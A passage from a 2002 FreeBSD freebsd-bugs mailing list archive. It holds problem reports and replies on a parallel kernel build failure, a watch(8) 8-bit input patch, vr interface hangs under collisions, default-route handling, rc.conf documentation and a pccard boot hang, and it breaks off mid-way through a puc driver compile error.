10:20:01 -0800 (PST) (envelope-from gnats) Received: from melchior.cuivre.fr.eu.org (melchior.enst.fr [137.194.161.6]) by hub.freebsd.org (Postfix) with ESMTP id 0623837B404 for ; Thu, 7 Mar 2002 10:13:09 -0800 (PST) Received: from melusine.cuivre.fr.eu.org (melusine.enst.fr [137.194.160.34]) by melchior.cuivre.fr.eu.org (Postfix) with ESMTP id 80F258571 for ; Thu, 7 Mar 2002 19:13:07 +0100 (CET) Received: by melusine.cuivre.fr.eu.org (Postfix, from userid 1000) id BC4DF2C3D1; Thu, 7 Mar 2002 19:13:06 +0100 (CET) Message-Id: <20020307181306.BC4DF2C3D1@melusine.cuivre.fr.eu.org> Date: Thu, 7 Mar 2002 19:13:06 +0100 (CET) From: Thomas Quinot Reply-To: Thomas Quinot To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35635: [patch] missing dep in libiconv prevents parallel build Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35635 >Category: kern >Synopsis: [patch] missing dep in libiconv prevents parallel build >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 10:20:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Thomas Quinot >Release: FreeBSD 4.5-STABLE i386 >Organization: >Environment: System: FreeBSD melusine.cuivre.fr.eu.org 4.5-STABLE FreeBSD 4.5-STABLE #5: Mon Mar 4 23:09:53 CET 2002 root@melusine.cuivre.fr.eu.org:/usr2/obj/usr2/src/sys/MELUSINE i386 >Description: The latest -STABLE kernel won't build with -jN (N > 1); the build dies with the following messages: ===> libiconv perl @/kern/makeobjops.pl -c @/libkern/iconv_converter_if.m perl @/kern/makeobjops.pl -h @/libkern/iconv_converter_if.m @ -> /usr/src/sys Can't open perl script "@/kern/makeobjops.pl": No such file or directory *** Error code 2 (note the @ symlink is made /after/ the perl invocations.) >How-To-Repeat: cvsup a fresh -STABLE make -j5 buildkernel >Fix: --- sys/modules/libiconv/Makefile.dist Thu Mar 7 18:34:52 2002 +++ sys/modules/libiconv/Makefile Thu Mar 7 18:34:59 2002 @@ -9,10 +9,10 @@ SRCS+= iconv_converter_if.c iconv_converter_if.h NOMAN= true -iconv_converter_if.h: +iconv_converter_if.h: @ perl @/kern/makeobjops.pl -h @/libkern/iconv_converter_if.m -iconv_converter_if.c: +iconv_converter_if.c: @ perl @/kern/makeobjops.pl -c @/libkern/iconv_converter_if.m .include >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 10:50:27 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id ABF6337B416 for ; Thu, 7 Mar 2002 10:50:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27Io1B59027; Thu, 7 Mar 2002 10:50:01 -0800 (PST) (envelope-from gnats) Received: from cell.sick.ru (cell.sick.ru [195.91.162.238]) by hub.freebsd.org (Postfix) with ESMTP id 0AFE137B43B for ; Thu, 7 Mar 2002 10:43:16 -0800 (PST) Received: from sector.v.gz.ru (alex21.rector.msu.ru [193.232.113.76]) by cell.sick.ru (8.12.2/8.12.2) with ESMTP id g27IhCtF012236 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL); Thu, 7 Mar 2002 21:43:13 +0300 (MSK) Received: (from glebius@localhost) by sector.v.gz.ru (8.11.6/8.11.6) id g27IhCB16873; Thu, 7 Mar 2002 21:43:12 +0300 (MSK) (envelope-from glebius) Message-Id: <200203071843.g27IhCB16873@sector.v.gz.ru> Date: Thu, 7 Mar 2002 21:43:12 +0300 (MSK) From: Gleb Smirnoff To: FreeBSD-gnats-submit@freebsd.org Cc: glebius@cell.sick.ru X-Send-Pr-Version: 3.113 Subject: kern/35636: [PATCH] can't input russian chars using watch(8) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35636 >Category: kern >Synopsis: [PATCH] can't input russian chars using watch(8) >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 10:50:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Gleb Smirnoff >Release: FreeBSD 4.5-STABLE i386 >Organization: RINET ISP >Environment: System: FreeBSD morannon.v.gz.ru 4.5-STABLE FreeBSD 4.5-STABLE #10: Thu Mar 7 20:59:18 MSK 2002 root@morannon.v.gz.ru:/usr/obj/usr/src/sys/MORANNON i386 >Description: >How-To-Repeat: Run watch -W and try to input any 8-bit char into snooped tty. >Fix: This patch: --- /usr/src/sys/kern/tty_snoop.c.orig Thu Mar 7 21:41:09 2002 +++ /usr/src/sys/kern/tty_snoop.c Thu Mar 7 21:41:39 2002 @@ -93,7 +93,7 @@ int unit = minor(dev), len, i, error; struct snoop *snp = &snoopsw[unit]; struct tty *tp; - char c[SNP_INPUT_BUF]; + unsigned char c[SNP_INPUT_BUF]; if (snp->snp_tty == NULL) return (EIO); >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 11: 0:51 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id A5FD437B41D for ; Thu, 7 Mar 2002 11:00:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27J02G60180; Thu, 7 Mar 2002 11:00:02 -0800 (PST) (envelope-from gnats) Received: from tomts19-srv.bellnexxia.net (tomts19.bellnexxia.net [209.226.175.73]) by hub.freebsd.org (Postfix) with ESMTP id 1DB9937B400 for ; Thu, 7 Mar 2002 10:58:43 -0800 (PST) Received: from khan.anarcat.dyndns.org ([65.94.191.9]) by tomts19-srv.bellnexxia.net (InterMail vM.4.01.03.23 201-229-121-123-20010418) with ESMTP id <20020307185842.GGOK20823.tomts19-srv.bellnexxia.net@khan.anarcat.dyndns.org> for ; Thu, 7 Mar 2002 13:58:42 -0500 Received: from lenny.anarcat.dyndns.org (lenny.anarcat.dyndns.org [192.168.0.4]) by khan.anarcat.dyndns.org (Postfix) with SMTP id 1682818C8; Thu, 7 Mar 2002 13:57:51 -0500 (EST) Received: by lenny.anarcat.dyndns.org (sSMTP sendmail emulation); Thu, 7 Mar 2002 13:58:48 -0500 Message-Id: <20020307185751.1682818C8@khan.anarcat.dyndns.org> Date: Thu, 7 Mar 2002 13:58:48 -0500 From: The Anarcat Reply-To: The Anarcat To: FreeBSD-gnats-submit@freebsd.org Cc: anarcat@anarcat.dyndns.org X-Send-Pr-Version: 3.113 Subject: kern/35640: heavy collision rate hangs vr network interface Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35640 >Category: kern >Synopsis: heavy collision rate hangs vr network interface >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 11:00:02 PST 2002 >Closed-Date: >Last-Modified: >Originator: The Anarcat >Release: FreeBSD 4.5-STABLE i386 >Organization: Nada, Inc >Environment: System: FreeBSD lenny.anarcat.dyndns.org 4.5-STABLE FreeBSD 4.5-STABLE #0: Mon Mar 4 12:16:06 EST 2002 anarcat@lenny.anarcat.dyndns.org:/usr/src/sys/compile/LENNY i386 10 baseT/UTP network, 2 machines connected through a 4 port Hub. >Description: I can reproducibly hang my 4.5-STABLE server when FTP uploading at around 1Mb/s. The collision rate is extremely high for some reason, input (Total) output packets errs bytes packets errs bytes colls 698 0 1053348 512 0 30756 417 After around 30 seconds of full use of the bandwidth, all network connections hang, and I have to reset the interface (ifconfig down/up) in order to bring back network capabilities. >How-To-Repeat: More info on the hardware: Server side: vr0: port 0x6600-0x66ff mem 0xe1001000-0xe10010ff irq 10 at device 11.0 on pci0 Client side: rl0: port 0x9400-0x94ff mem 0xd6800000-0xd68000ff irq 9 at device 9.0 on pci0 Base system ftp clients and servers. Simply ftp upload around 15-20 Mbytes of data. >Fix: To temporarly unhang the machine, ifconfig down/up the guilty interface. Unknown long-term fix. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 12:40:38 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 4102937B423 for ; Thu, 7 Mar 2002 12:40:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27Ke1K83948; Thu, 7 Mar 2002 12:40:01 -0800 (PST) (envelope-from gnats) Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 9B3E637B402 for ; Thu, 7 Mar 2002 12:32:41 -0800 (PST) Received: (from robert@localhost) by fledge.watson.org (8.11.6/8.11.6) id g27KWXJ21156; Thu, 7 Mar 2002 15:32:33 -0500 (EST) (envelope-from robert) Message-Id: <200203072032.g27KWXJ21156@fledge.watson.org> Date: Thu, 7 Mar 2002 15:32:33 -0500 (EST) From: Robert Watson Reply-To: Robert Watson To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35645: Layer 2 switching using default router of "self" broken Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35645 >Category: kern >Synopsis: Layer 2 switching using default router of "self" broken >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 12:40:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Robert Watson >Release: FreeBSD 5.0-CURRENT >Organization: NAI LAbs >Environment: System: FreeBSD fledge.watson.org 4.5-PRERELEASE FreeBSD 4.5-PRERELEASE #0: Fri Dec 21 21:55:59 EST 2001 robert@fledge.watson.org:/usr/obj/data/fbsd-stable/src/sys/FLEDGE i386 >Description: Many network stacks use a default route of the local IP address to represent a switch model in which all packets destined for the default route are handled by attempting direct link-layer delivery to the destination over the local interface associated with the IP address. As a result, some network configurations provide the same IP address for use both as the host address and the default router via DHCP, which on FreeBSD results in an inability to send packets off the local network segment. Bill Fenner suggests that the FreeBSD stack wants: route add default -interface foo0 Instead of use of the IP address, and that the dhclient script should do the mapping to the appropriate FreeBSD incantation. >How-To-Repeat: >Fix: This is probably an example of a common IP stack quirk being assumed and propagated to hosts where it's not true. However, it means that FreeBSD doesn't work "out of the box" in some switched network environments. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 14: 0:38 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 3C29837B402 for ; Thu, 7 Mar 2002 14:00:09 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27M09H99032; Thu, 7 Mar 2002 14:00:09 -0800 (PST) (envelope-from gnats) Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id 37E9637B439 for ; Thu, 7 Mar 2002 13:55:06 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 997F9BD80 for ; Thu, 7 Mar 2002 13:55:06 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id NAA12521 for ; Thu, 7 Mar 2002 13:55:06 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id g27LwIL46775; Thu, 7 Mar 2002 13:58:18 -0800 (PST) (envelope-from swear@blarg.net) Message-Id: Date: 07 Mar 2002 13:58:18 -0800 From: "Gary W. Swearingen" Reply-To: swear@blarg.net To: FreeBSD-gnats-submit@freebsd.org Subject: bin/35648: rc.conf; add note about "flags" to both files Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35648 >Category: bin >Synopsis: rc.conf; add note about "flags" to both files >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 14:00:09 PST 2002 >Closed-Date: >Last-Modified: >Originator: Gary W. Swearingen >Release: FreeBSD 4.5-STABLE i386 >Organization: none >Environment: n/a ================ >Description: The /etc/rc.conf and /etc/default/rc.conf files should have a comment near the top noting that "_flags" may be interpreted as "_options" and that "flags" always need a leading "-". The term "flag" is ambiguous (see sh(1) and csh(1) for examples) as to whether it means, eg, "-o" or just the "o". It is also ambiguous in referring only to the "-o" and not including the "-o' option's arguments (or even to only single-character options), so it should be made clear that _flags is used here for both kinds. ================ >How-To-Repeat: n/a ================ >Fix: Add something like: # # Variable names with "_flags" suffixes may be interpreted as "_options" # and the quoted arguments should always begin with "-". >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 15:15:46 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id D3DA637B428; Thu, 7 Mar 2002 15:12:50 -0800 (PST) Received: (from silby@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27NAh624703; Thu, 7 Mar 2002 15:10:43 -0800 (PST) (envelope-from silby) Date: Thu, 7 Mar 2002 15:10:43 -0800 (PST) From: Message-Id: <200203072310.g27NAh624703@freefall.freebsd.org> To: anarcat@anarcat.dyndns.org, silby@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: kern/35640: heavy collision rate hangs vr network interface Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: heavy collision rate hangs vr network interface State-Changed-From-To: open->feedback State-Changed-By: silby State-Changed-When: Thu Mar 7 15:09:07 PST 2002 State-Changed-Why: Update the client system to today's -stable (rlphy.c, specifically.) There was a fix committed to the rl driver which makes it behave better on 10baseT networks. Of course, that doesn't explain the vr system locking up, but it may be a good enough solution for you. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35640 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 16:40: 7 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 75EBD37B416 for ; Thu, 7 Mar 2002 16:40:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g280e2J43512; Thu, 7 Mar 2002 16:40:02 -0800 (PST) (envelope-from gnats) Date: Thu, 7 Mar 2002 16:40:02 -0800 (PST) Message-Id: <200203080040.g280e2J43512@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Crist J. Clark" Subject: Re: bin/35648: rc.conf; add note about "flags" to both files Reply-To: "Crist J. Clark" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35648; it has been noted by GNATS. From: "Crist J. Clark" To: "Gary W. Swearingen" Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/35648: rc.conf; add note about "flags" to both files Date: Thu, 7 Mar 2002 16:35:09 -0800 On Thu, Mar 07, 2002 at 01:58:18PM -0800, Gary W. Swearingen wrote: [snip] > The /etc/rc.conf and /etc/default/rc.conf files should have a comment > near the top noting that "_flags" may be interpreted as "_options" > and that "flags" always need a leading "-". The correct place for this kind of documentation would be the rc.conf(5) manpage. -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 16:40:47 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from mail.gank.org (nat72962.owentools.com [206.50.138.221]) by hub.freebsd.org (Postfix) with ESMTP id ADC4D37B405; Thu, 7 Mar 2002 16:40:42 -0800 (PST) Received: from aldaris (dsl081-113-221.dfw1.dsl.speakeasy.net [64.81.113.221]) by mail.gank.org (GankMail) with SMTP id 9C3365F24; Thu, 7 Mar 2002 18:40:41 -0600 (CST) Message-ID: <002d01c1c639$e00fc550$5f45a8c0@auir.gank.org> Reply-To: "Craig Boston" From: "Craig Boston" To: , , Cc: Subject: Re: misc/32631: installing 4.4 "mounting root from ufs:/dev/md0c" and won't continue Date: Thu, 7 Mar 2002 18:40:38 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org I have identical symptoms on a Vaio PCG-FX170K (hangs right after trying to mount root partition). Problem is present in everything after 4.4-PRERELEASE, including 4.4-RC, all the way through 4.5-STABLE (still happening). This happens both when the kernel is used to boot a live system, as well as the install CDs. Affects both GENERIC and custom kernels. I did a little playing around with cvsup and was able to track the problem to this commit on 2001/08/15: http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/pccard/pcic_pci.c#rev1.54.2.6 (about 12 hours before newvers.sh was changed to 4.4-RC) With pcic_pci.c and .h files prior to this commit, system boots fine. With the new version, it hangs exactly as the original post described. I was going to try to figure out what the change was, but this scared me off: Changes since 1.54.2.5: +505 -193 lines Yikes... This is Warner's MFC of some of the new cardbus code from -current, it looks like. Should we get his opinion on it? I can provide bootverbose or whatever debugging output that's needed, but it's a hard lock -- no DDB :( -- Craig To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 16:50: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 97A5937B41A for ; Thu, 7 Mar 2002 16:50:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g280o2B44708; Thu, 7 Mar 2002 16:50:02 -0800 (PST) (envelope-from gnats) Date: Thu, 7 Mar 2002 16:50:02 -0800 (PST) Message-Id: <200203080050.g280o2B44708@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Craig Boston" Subject: Re: misc/32631: installing 4.4 "mounting root from ufs:/dev/md0c" and won't continue Reply-To: "Craig Boston" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR misc/32631; it has been noted by GNATS. From: "Craig Boston" To: , , Cc: Subject: Re: misc/32631: installing 4.4 "mounting root from ufs:/dev/md0c" and won't continue Date: Thu, 7 Mar 2002 18:40:38 -0600 I have identical symptoms on a Vaio PCG-FX170K (hangs right after trying to mount root partition). Problem is present in everything after 4.4-PRERELEASE, including 4.4-RC, all the way through 4.5-STABLE (still happening). This happens both when the kernel is used to boot a live system, as well as the install CDs. Affects both GENERIC and custom kernels. I did a little playing around with cvsup and was able to track the problem to this commit on 2001/08/15: http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/pccard/pcic_pci.c#rev1.54.2.6 (about 12 hours before newvers.sh was changed to 4.4-RC) With pcic_pci.c and .h files prior to this commit, system boots fine. With the new version, it hangs exactly as the original post described. I was going to try to figure out what the change was, but this scared me off: Changes since 1.54.2.5: +505 -193 lines Yikes... This is Warner's MFC of some of the new cardbus code from -current, it looks like. Should we get his opinion on it? I can provide bootverbose or whatever debugging output that's needed, but it's a hard lock -- no DDB :( -- Craig To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 18:20:33 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from tomts13-srv.bellnexxia.net (tomts13.bellnexxia.net [209.226.175.34]) by hub.freebsd.org (Postfix) with ESMTP id EBA9A37B436; Thu, 7 Mar 2002 18:19:56 -0800 (PST) Received: from khan.anarcat.dyndns.org ([65.94.191.9]) by tomts13-srv.bellnexxia.net (InterMail vM.4.01.03.23 201-229-121-123-20010418) with ESMTP id <20020308021956.DQCJ4002.tomts13-srv.bellnexxia.net@khan.anarcat.dyndns.org>; Thu, 7 Mar 2002 21:19:56 -0500 Received: from lenny.anarcat.dyndns.org (lenny.anarcat.dyndns.org [192.168.0.4]) by khan.anarcat.dyndns.org (Postfix) with SMTP id 532191896; Thu, 7 Mar 2002 21:19:53 -0500 (EST) Received: by lenny.anarcat.dyndns.org (sSMTP sendmail emulation); Thu, 7 Mar 2002 21:19:26 -0500 Date: Thu, 7 Mar 2002 21:19:26 -0500 From: The Anarcat To: silby@FreeBSD.org Cc: freebsd-bugs@FreeBSD.org Subject: Re: kern/35640: heavy collision rate hangs vr network interface Message-ID: <20020308021926.GB266@lenny.anarcat.dyndns.org> References: <200203072310.g27NAh624703@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="SkvwRMAIpAhPCcCJ" Content-Disposition: inline In-Reply-To: <200203072310.g27NAh624703@freefall.freebsd.org> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --SkvwRMAIpAhPCcCJ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline > Of course, that doesn't explain the vr system locking up, but it > may be a good enough solution for you. It's not fixing the problem. The collision rate is unchanged. Something I don't understand though... The collision rate isn't the same on the client and on the server... client: input (Total) output packets errs bytes packets errs bytes colls 467 0 30822 691 0 1061314 709 server: input (Total) output packets errs bytes packets errs bytes colls 711 0 1073558 512 0 31396 439 At any rate, this PR should be put back in the Open state, no? A. --SkvwRMAIpAhPCcCJ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjyIH60ACgkQttcWHAnWiGfpFACfb3ZOSGZv8ODCiC3sYhhfpAWr VMoAmgLjTTphLCPgwTDDv1QUNXvUPWm0 =PBTu -----END PGP SIGNATURE----- --SkvwRMAIpAhPCcCJ-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 18:25:19 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from tomts15-srv.bellnexxia.net (tomts15.bellnexxia.net [209.226.175.3]) by hub.freebsd.org (Postfix) with ESMTP id 75BEB37B416; Thu, 7 Mar 2002 18:25:15 -0800 (PST) Received: from khan.anarcat.dyndns.org ([65.94.191.9]) by tomts15-srv.bellnexxia.net (InterMail vM.4.01.03.23 201-229-121-123-20010418) with ESMTP id <20020308022514.OLZE17934.tomts15-srv.bellnexxia.net@khan.anarcat.dyndns.org>; Thu, 7 Mar 2002 21:25:14 -0500 Received: from lenny.anarcat.dyndns.org (lenny.anarcat.dyndns.org [192.168.0.4]) by khan.anarcat.dyndns.org (Postfix) with SMTP id 6D4F71896; Thu, 7 Mar 2002 21:25:12 -0500 (EST) Received: by lenny.anarcat.dyndns.org (sSMTP sendmail emulation); Thu, 7 Mar 2002 21:24:46 -0500 Date: Thu, 7 Mar 2002 21:24:46 -0500 From: The Anarcat To: silby@FreeBSD.org Cc: freebsd-bugs@FreeBSD.org Subject: Re: kern/35640: heavy collision rate hangs vr network interface Message-ID: <20020308022446.GA342@lenny.anarcat.dyndns.org> References: <200203072310.g27NAh624703@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="mP3DRpeJDSE+ciuQ" Content-Disposition: inline In-Reply-To: <200203072310.g27NAh624703@freefall.freebsd.org> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --mP3DRpeJDSE+ciuQ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline There is something I haven't noticed the first time round. When network hangs, I see the following message on the console: vr0: watchdog timeout I don't know what it means apart from the man page info... A. --mP3DRpeJDSE+ciuQ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEUEARECAAYFAjyIIO0ACgkQttcWHAnWiGfodACeL2oqLa82zmiLfIdxPY3DtbK7 zY0AmODAns+XbWEZ1ZfiVvjf9OgY8Zo= =ErxX -----END PGP SIGNATURE----- --mP3DRpeJDSE+ciuQ-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 19:40: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 56D7B37B404 for ; Thu, 7 Mar 2002 19:40:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g283e1988198; Thu, 7 Mar 2002 19:40:01 -0800 (PST) (envelope-from gnats) Received: from hand.dotat.at (host217-35-46-127.in-addr.btopenworld.com [217.35.46.127]) by hub.freebsd.org (Postfix) with ESMTP id 2C1D137B402 for ; Thu, 7 Mar 2002 19:39:41 -0800 (PST) Received: from fanf by hand.dotat.at with local (Exim 3.35 #1) id 16jBEC-0001hh-00; Fri, 08 Mar 2002 03:39:32 +0000 Message-Id: Date: Fri, 08 Mar 2002 03:39:32 +0000 From: Tony Finch Reply-To: Tony Finch To: FreeBSD-gnats-submit@freebsd.org Cc: Tony Finch X-Send-Pr-Version: 3.113 Subject: kern/35660: puc driver broken in RELENG_4 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35660 >Category: kern >Synopsis: puc driver broken in RELENG_4 >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 19:40:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Tony Finch >Release: FreeBSD 4.5-STABLE-20020220 i386 >Organization: dotat labs >Environment: System: FreeBSD hand.dotat.at 4.5-STABLE-20020220 FreeBSD 4.5-STABLE-20020220 #15: Wed Feb 20 07:46:52 GMT 2002 fanf@hand.dotat.at:/FreeBSD/obj/FreeBSD/releng4/sys/SHARP i386 I'm trying to compile RELENG_4's LINT, cvsupped at Fri Mar 8 03:00:37 GMT 2002 >Description: fanf@hand.dotat.at:/FreeBSD/obj/FreeBSD/releng4/sys/LINT :; cc -c -O -pipe -march=pentium -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I/FreeBSD/releng4/sys -I/FreeBSD/releng4/sys/../include -I/FreeBSD/releng4/sys/contrib/ipfilter -D_KERNEL -include opt_global.h -elf -fno-builtin -mpreferred-stack-boundary=2 /FreeBSD/releng4/sys/dev/puc/puc.c /FreeBSD/releng4/sys/dev/puc/puc.c: In function `puc_pci_attach': /FreeBSD/releng4/sys/dev/puc/puc.c:216: 